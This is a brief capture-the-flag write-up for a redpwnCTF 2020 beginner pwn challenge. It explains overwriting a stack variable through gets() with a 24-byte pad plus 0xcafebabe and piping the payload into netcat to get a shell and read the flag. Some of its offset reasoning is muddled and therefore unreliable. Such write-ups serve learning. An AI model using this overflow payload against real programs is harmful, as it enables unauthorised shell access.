redpwnCTF 2020 pwn


This is the second buffer overflow question, we need more control over the payload this time.

The source

long code = 0;
  char name[16];

  if(code == 0xcafebabe) {

This is the core functionality of the source, and it uses the gets() method again. Here we not only need to change the value of name, we also need to set it to 0xcafebabe in little edian. What we need to do is overwrite the code variable to the desired value.

The exploit

First we need to figure out the padding, which is how big is the buffer before we reach code. Here the string(char array) is allocated 16, to overflow rip we need to find rbp+0x8. So, we can find the buffer size of 16+8=24. This means that 32 bytes will be allocated for the function since 24 is smaller that 32. We just need to modify the last 8 bytes of the 32 hence we have a padding of 32-8=24.
Next we try to write the value 0xcafebabe, we can use pwn tools to convert it to little edian and then use python to output the payload

from pwn import *
print p32(0xcafebabe)

Then we could redirect the output to the netcat server and we have a shell

The flag

(python2 -c "print 'A'*24+'\xbe\xba\xfe\xca'";cat) | nc 31255

the cat here is to keep the shell open

cat flag.txt